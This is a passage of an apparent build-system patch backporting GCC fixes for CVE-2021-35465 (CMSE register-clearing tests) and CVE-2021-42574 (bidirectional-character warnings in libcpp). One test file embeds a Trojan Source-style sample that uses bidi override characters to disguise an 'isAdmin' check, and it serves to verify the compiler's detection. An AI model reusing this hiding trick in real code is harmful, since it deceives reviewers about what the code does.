++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r1, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[1,4-9\]|r10|fp|ip), ){9}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[1,4-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,27 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing single precision" {*-*-*} {"-mfpu=*-sp-*"} {""} } */
++
++#include "../../../cmse-7.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r0, )?(r1, )?(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[0-9\]|r10|fp|ip), ){12}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[0-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,29 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing single precision" {*-*-*} {"-mfpu=*-sp-*"} {""} } */
++
++#include "../../../cmse-8.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr1, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[2-9\]|r10|fp|ip), ){10}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[2-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,27 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-sp-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing double precision" {*-*-*} {"-mfpu=fpv[4-5]-d16"} {""} } */
++
++#include "../../../cmse-7.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r0, )?(r1, )?(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[0-9\]|r10|fp|ip), ){12}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[0-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,29 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-sp-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing double precision" {*-*-*} {"-mfpu=fpv[4-5]-d16"} {""} } */
++
++#include "../../../cmse-8.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr1, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[2-9\]|r10|fp|ip), ){10}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[2-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
diff --git a/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch
new file mode 100644
index 0000000000..4999c71b64
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch
@@ -0,0 +1,573 @@
+From bef32d4a28595e933f24fef378cf052a30b674a7 Mon Sep 17 00:00:00 2001
+From: David Malcolm <dmalcolm@redhat.com>
+Date: Tue, 2 Nov 2021 15:45:22 -0400
+Subject: [PATCH] libcpp: capture and underline ranges in -Wbidi-chars=
+ [PR103026]
+MIME-Version: 1.0
+Content-Type: text/plain; charset=utf8
+Content-Transfer-Encoding: 8bit
+
+This patch converts the bidi::vec to use a struct so that we can
+capture location_t values for the bidirectional control characters.
+
+Before:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 6 | /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
+ | ^
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 9 | /* end admins only <U+202E> { <U+2066>*/
+ | ^
+
+After:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control characters detected [-Wbidi-chars=]
+ 6 | /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
+ | ~~~~~~~~ ~~~~~~~~ ^
+ | | | |
+ | | | end of bidirectional context
+ | U+202E (RIGHT-TO-LEFT OVERRIDE) U+2066 (LEFT-TO-RIGHT ISOLATE)
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control characters detected [-Wbidi-chars=]
+ 9 | /* end admins only <U+202E> { <U+2066>*/
+ | ~~~~~~~~ ~~~~~~~~ ^
+ | | | |
+ | | | end of bidirectional context
+ | | U+2066 (LEFT-TO-RIGHT ISOLATE)
+ | U+202E (RIGHT-TO-LEFT OVERRIDE)
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+gcc/testsuite/ChangeLog:
+ PR preprocessor/103026
+ * c-c++-common/Wbidi-chars-ranges.c: New test.
+
+libcpp/ChangeLog:
+ PR preprocessor/103026
+ * lex.c (struct bidi::context): New.
+ (bidi::vec): Convert to a vec of context rather than unsigned
+ char.
+ (bidi::ctx_at): Rename to...
+ (bidi::pop_kind_at): ...this and reimplement for above change.
+ (bidi::current_ctx): Update for change to vec.
+ (bidi::current_ctx_ucn_p): Likewise.
+ (bidi::current_ctx_loc): New.
+ (bidi::on_char): Update for usage of context struct. Add "loc"
+ param and pass it when pushing contexts.
+ (get_location_for_byte_range_in_cur_line): New.
+ (get_bidi_utf8): Rename to...
+ (get_bidi_utf8_1): ...this, reintroducing...
+ (get_bidi_utf8): ...as a wrapper, setting *OUT when the result is
+ not NONE.
+ (get_bidi_ucn): Rename to...
+ (get_bidi_ucn_1): ...this, reintroducing...
+ (get_bidi_ucn): ...as a wrapper, setting *OUT when the result is
+ not NONE.
+ (class unpaired_bidi_rich_location): New.
+ (maybe_warn_bidi_on_close): Use unpaired_bidi_rich_location when
+ reporting on unpaired bidi chars. Split into singular vs plural
+ spellings.
+ (maybe_warn_bidi_on_char): Pass in a location_t rather than a
+ const uchar * and use it when emitting warnings, and when calling
+ bidi::on_char.
+ (_cpp_skip_block_comment): Capture location when kind is not NONE
+ and pass it to maybe_warn_bidi_on_char.
+ (skip_line_comment): Likewise.
+ (forms_identifier_p): Likewise.
+ (lex_raw_string): Likewise.
+ (lex_string): Likewise.
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=bef32d4a28595e933f24fef378cf052a30b674a7]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ .../c-c++-common/Wbidi-chars-ranges.c | 54 ++++
+ libcpp/lex.c | 251 ++++++++++++++----
+ 2 files changed, 257 insertions(+), 48 deletions(-)
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c
+
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c b/gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c
+new file mode 100644
+index 00000000000..298750a2a64
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c
+@@ -0,0 +1,54 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired -fdiagnostics-show-caret" } */
++/* Verify that we escape and underline pertinent bidirectional
++ control characters when quoting the source. */
++
++int test_unpaired_bidi () {
++ int isAdmin = 0;
++ /*â® } â¦if (isAdmin)⩠⦠begin admins only */
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
++ ~~~~~~~~ ~~~~~~~~ ^
++ | | |
++ | | end of bidirectional context
++ U+202E (RIGHT-TO-LEFT OVERRIDE) U+2066 (LEFT-TO-RIGHT ISOLATE)
++ { dg-end-multiline-output "" }
++#endif
++
++ __builtin_printf("You are an admin.\n");
++ /* end admins only â® { â¦*/
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ /* end admins only <U+202E> { <U+2066>*/
++ ~~~~~~~~ ~~~~~~~~ ^
++ | | |
++ | | end of bidirectional context
++ | U+2066 (LEFT-TO-RIGHT ISOLATE)
++ U+202E (RIGHT-TO-LEFT OVERRIDE)
++ { dg-end-multiline-output "" }
++#endif
++
++ return 0;
++}
++
++int LRE_âª_PDF_\u202c;
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ int LRE_<U+202A>_PDF_\u202c;
++ ~~~~~~~~ ^~~~~~
++ { dg-end-multiline-output "" }
++#endif
++
++const char *s1 = "LRE_âª_PDF_\u202c";
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ const char *s1 = "LRE_<U+202A>_PDF_\u202c";
++ ~~~~~~~~ ^~~~~~
++ { dg-end-multiline-output "" }
++#endif
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+index 2421d6c0f40..94c36f0d014 100644
+--- a/libcpp/lex.c
++++ b/libcpp/lex.c
+@@ -1172,11 +1172,34 @@ namespace bidi {
+ /* All the UTF-8 encodings of bidi characters start with E2. */
+ constexpr uchar utf8_start = 0xe2;
+
++ struct context
++ {
++ context () {}
++ context (location_t loc, kind k, bool pdf, bool ucn)
++ : m_loc (loc), m_kind (k), m_pdf (pdf), m_ucn (ucn)
++ {
++ }
++
++ kind get_pop_kind () const
++ {
++ return m_pdf ? kind::PDF : kind::PDI;
++ }
++ bool ucn_p () const
++ {
++ return m_ucn;
++ }
++
++ location_t m_loc;
++ kind m_kind;
++ unsigned m_pdf : 1;
++ unsigned m_ucn : 1;
++ };
++
+ /* A vector holding currently open bidi contexts. We use a char for
+ each context, its LSB is 1 if it represents a PDF context, 0 if it
+ represents a PDI context. The next bit is 1 if this context was open
+ by a bidi character written as a UCN, and 0 when it was UTF-8. */
+- semi_embedded_vec <unsigned char, 16> vec;
++ semi_embedded_vec <context, 16> vec;
+
+ /* Close the whole comment/identifier/string literal/character constant
+ context. */
+@@ -1193,19 +1216,19 @@ namespace bidi {
+ vec.truncate (len - 1);
+ }
+
+- /* Return the context of the Ith element. */
+- kind ctx_at (unsigned int i)
++ /* Return the pop kind of the context of the Ith element. */
++ kind pop_kind_at (unsigned int i)
+ {
+- return (vec[i] & 1) ? kind::PDF : kind::PDI;
++ return vec[i].get_pop_kind ();
+ }
+
+- /* Return which context is currently opened. */
++ /* Return the pop kind of the context that is currently opened. */
+ kind current_ctx ()
+ {
+ unsigned int len = vec.count ();
+ if (len == 0)
+ return kind::NONE;
+- return ctx_at (len - 1);
++ return vec[len - 1].get_pop_kind ();
+ }
+
+ /* Return true if the current context comes from a UCN origin, that is,
+@@ -1214,11 +1237,19 @@ namespace bidi {
+ {
+ unsigned int len = vec.count ();
+ gcc_checking_assert (len > 0);
+- return (vec[len - 1] >> 1) & 1;
++ return vec[len - 1].m_ucn;
+ }
+
+- /* We've read a bidi char, update the current vector as necessary. */
+- void on_char (kind k, bool ucn_p)
++ location_t current_ctx_loc ()
++ {
++ unsigned int len = vec.count ();
++ gcc_checking_assert (len > 0);
++ return vec[len - 1].m_loc;
++ }
++
++ /* We've read a bidi char, update the current vector as necessary.
++ LOC is only valid when K is not kind::NONE. */
++ void on_char (kind k, bool ucn_p, location_t loc)
+ {
+ switch (k)
+ {
+@@ -1226,12 +1257,12 @@ namespace bidi {
+ case kind::RLE:
+ case kind::LRO:
+ case kind::RLO:
+- vec.push (ucn_p ? 3u : 1u);
++ vec.push (context (loc, k, true, ucn_p));
+ break;
+ case kind::LRI:
+ case kind::RLI:
+ case kind::FSI:
+- vec.push (ucn_p ? 2u : 0u);
++ vec.push (context (loc, k, false, ucn_p));
+ break;
+ /* PDF terminates the scope of the last LRE, RLE, LRO, or RLO
+ whose scope has not yet been terminated. */
+@@ -1245,7 +1276,7 @@ namespace bidi {
+ yet been terminated. */
+ case kind::PDI:
+ for (int i = vec.count () - 1; i >= 0; --i)
+- if (ctx_at (i) == kind::PDI)
++ if (pop_kind_at (i) == kind::PDI)
+ {
+ vec.truncate (i);
+ break;
+@@ -1295,10 +1326,47 @@ namespace bidi {
+ }
+ }
+
++/* Get location_t for the range of bytes [START, START + NUM_BYTES)
++ within the current line in FILE, with the caret at START. */
++
++static location_t
++get_location_for_byte_range_in_cur_line (cpp_reader *pfile,
++ const unsigned char *const start,
++ size_t num_bytes)
++{
++ gcc_checking_assert (num_bytes > 0);
++
++ /* CPP_BUF_COLUMN and linemap_position_for_column both refer
++ to offsets in bytes, but CPP_BUF_COLUMN is 0-based,
++ whereas linemap_position_for_column is 1-based. */
++
++ /* Get 0-based offsets within the line. */
++ size_t start_offset = CPP_BUF_COLUMN (pfile->buffer, start);
++ size_t end_offset = start_offset + num_bytes - 1;
++
++ /* Now convert to location_t, where "columns" are 1-based byte offsets. */
++ location_t start_loc = linemap_position_for_column (pfile->line_table,
++ start_offset + 1);
++ location_t end_loc = linemap_position_for_column (pfile->line_table,
++ end_offset + 1);
++
++ if (start_loc == end_loc)
++ return start_loc;
++
++ source_range src_range;
++ src_range.m_start = start_loc;
++ src_range.m_finish = end_loc;
++ location_t combined_loc = COMBINE_LOCATION_DATA (pfile->line_table,
++ start_loc,
++ src_range,
++ NULL);
++ return combined_loc;
++}
++
+ /* Parse a sequence of 3 bytes starting with P and return its bidi code. */
+
+ static bidi::kind
+-get_bidi_utf8 (const unsigned char *const p)
++get_bidi_utf8_1 (const unsigned char *const p)
+ {
+ gcc_checking_assert (p[0] == bidi::utf8_start);
+
+@@ -1340,10 +1408,25 @@ get_bidi_utf8 (const unsigned char *cons
+ return bidi::kind::NONE;
+ }
+
++/* Parse a sequence of 3 bytes starting with P and return its bidi code.
++ If the kind is not NONE, write the location to *OUT.*/
++
++static bidi::kind
++get_bidi_utf8 (cpp_reader *pfile, const unsigned char *const p, location_t *out)
++{
++ bidi::kind result = get_bidi_utf8_1 (p);
++ if (result != bidi::kind::NONE)
++ {
++ /* We have a sequence of 3 bytes starting at P. */
++ *out = get_location_for_byte_range_in_cur_line (pfile, p, 3);
++ }
++ return result;
++}
++
+ /* Parse a UCN where P points just past \u or \U and return its bidi code. */
+
+ static bidi::kind
+-get_bidi_ucn (const unsigned char *p, bool is_U)
++get_bidi_ucn_1 (const unsigned char *p, bool is_U)
+ {
+ /* 6.4.3 Universal Character Names
+ \u hex-quad
+@@ -1412,6 +1495,62 @@ get_bidi_ucn (const unsigned char *p, bo
+ return bidi::kind::NONE;
+ }
+
++/* Parse a UCN where P points just past \u or \U and return its bidi code.
++ If the kind is not NONE, write the location to *OUT.*/
++
++static bidi::kind
++get_bidi_ucn (cpp_reader *pfile, const unsigned char *p, bool is_U,
++ location_t *out)
++{
++ bidi::kind result = get_bidi_ucn_1 (p, is_U);
++ if (result != bidi::kind::NONE)
++ {
++ const unsigned char *start = p - 2;
++ size_t num_bytes = 2 + (is_U ? 8 : 4);
++ *out = get_location_for_byte_range_in_cur_line (pfile, start, num_bytes);
++ }
++ return result;
++}
++
++/* Subclass of rich_location for reporting on unpaired UTF-8
++ bidirectional control character(s).
++ Escape the source lines on output, and show all unclosed
++ bidi context, labelling everything. */
++
++class unpaired_bidi_rich_location : public rich_location
++{
++ public:
++ class custom_range_label : public range_label
++ {
++ public:
++ label_text get_text (unsigned range_idx) const FINAL OVERRIDE
++ {
++ /* range 0 is the primary location; each subsequent range i + 1
++ is for bidi::vec[i]. */
++ if (range_idx > 0)
++ {
++ const bidi::context &ctxt (bidi::vec[range_idx - 1]);
++ return label_text::borrow (bidi::to_str (ctxt.m_kind));
++ }
++ else
++ return label_text::borrow (_("end of bidirectional context"));
++ }
++ };
++
++ unpaired_bidi_rich_location (cpp_reader *pfile, location_t loc)
++ : rich_location (pfile->line_table, loc, &m_custom_label)
++ {
++ set_escape_on_output (true);
++ for (unsigned i = 0; i < bidi::vec.count (); i++)
++ add_range (bidi::vec[i].m_loc,
++ SHOW_RANGE_WITHOUT_CARET,
++ &m_custom_label);
++ }
++
++ private:
++ custom_range_label m_custom_label;
++};
++
+ /* We're closing a bidi context, that is, we've encountered a newline,
+ are closing a C-style comment, or are at the end of a string literal,
+ character constant, or identifier. Warn if this context was not
+@@ -1427,11 +1566,17 @@ maybe_warn_bidi_on_close (cpp_reader *pf
+ const location_t loc
+ = linemap_position_for_column (pfile->line_table,
+ CPP_BUF_COLUMN (pfile->buffer, p));
+- rich_location rich_loc (pfile->line_table, loc);
+- rich_loc.set_escape_on_output (true);
+- cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
+- "unpaired UTF-8 bidirectional control character "
+- "detected");
++ unpaired_bidi_rich_location rich_loc (pfile, loc);
++ /* cpp_callbacks doesn't yet have a way to handle singular vs plural
++ forms of a diagnostic, so fake it for now. */
++ if (bidi::vec.count () > 1)
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "unpaired UTF-8 bidirectional control characters "
++ "detected");
++ else
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "unpaired UTF-8 bidirectional control character "
++ "detected");
+ }
+ /* We're done with this context. */
+ bidi::on_close ();
+@@ -1439,12 +1584,13 @@ maybe_warn_bidi_on_close (cpp_reader *pf
+
+ /* We're at the beginning or in the middle of an identifier/comment/string
+ literal/character constant. Warn if we've encountered a bidi character.
+- KIND says which bidi character it was; P points to it in the character
+- stream. UCN_P is true iff this bidi character was written as a UCN. */
++ KIND says which bidi control character it was; UCN_P is true iff this bidi
++ control character was written as a UCN. LOC is the location of the
++ character, but is only valid if KIND != bidi::kind::NONE. */
+
+ static void
+-maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
+- bool ucn_p)
++maybe_warn_bidi_on_char (cpp_reader *pfile, bidi::kind kind,
++ bool ucn_p, location_t loc)
+ {
+ if (__builtin_expect (kind == bidi::kind::NONE, 1))
+ return;
+@@ -1453,9 +1599,6 @@ maybe_warn_bidi_on_char (cpp_reader *pfi
+
+ if (warn_bidi != bidirectional_none)
+ {
+- const location_t loc
+- = linemap_position_for_column (pfile->line_table,
+- CPP_BUF_COLUMN (pfile->buffer, p));
+ rich_location rich_loc (pfile->line_table, loc);
+ rich_loc.set_escape_on_output (true);
+
+@@ -1467,9 +1610,12 @@ maybe_warn_bidi_on_char (cpp_reader *pfi
+ {
+ if (warn_bidi == bidirectional_unpaired
+ && bidi::current_ctx_ucn_p () != ucn_p)
+- cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
+- "UTF-8 vs UCN mismatch when closing "
+- "a context by \"%s\"", bidi::to_str (kind));
++ {
++ rich_loc.add_range (bidi::current_ctx_loc ());
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "UTF-8 vs UCN mismatch when closing "
++ "a context by \"%s\"", bidi::to_str (kind));
++ }
+ }
+ else if (warn_bidi == bidirectional_any)
+ {
+@@ -1484,7 +1630,7 @@ maybe_warn_bidi_on_char (cpp_reader *pfi
+ }
+ }
+ /* We're done with this context. */
+- bidi::on_char (kind, ucn_p);
++ bidi::on_char (kind, ucn_p, loc);
+ }
+
+ /* Skip a C-style block comment. We find the end of the comment by
+@@ -1552,8 +1698,9 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ a bidirectional control character. */
+ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_utf8 (cur - 1);
+- maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, cur - 1, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ }
+
+@@ -1586,9 +1733,9 @@ skip_line_comment (cpp_reader *pfile)
+ {
+ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0))
+ {
+- bidi::kind kind = get_bidi_utf8 (buffer->cur);
+- maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
+- /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, buffer->cur, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ buffer->cur++;
+ }
+@@ -1708,9 +1855,9 @@ forms_identifier_p (cpp_reader *pfile, i
+ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0)
+ && warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_utf8 (buffer->cur);
+- maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
+- /*ucn_p=*/false);
++ location_t loc;
++ bidi::kind kind = get_bidi_utf8 (pfile, buffer->cur, &loc);
++ maybe_warn_bidi_on_char (pfile, kind, /*ucn_p=*/false, loc);
+ }
+ if (_cpp_valid_utf8 (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s))
+@@ -1722,10 +1869,12 @@ forms_identifier_p (cpp_reader *pfile, i
+ buffer->cur += 2;
+ if (warn_bidi_p)
+ {
+- bidi::kind kind = get_bidi_ucn (buffer->cur,
+- buffer->cur[-1] == 'U');
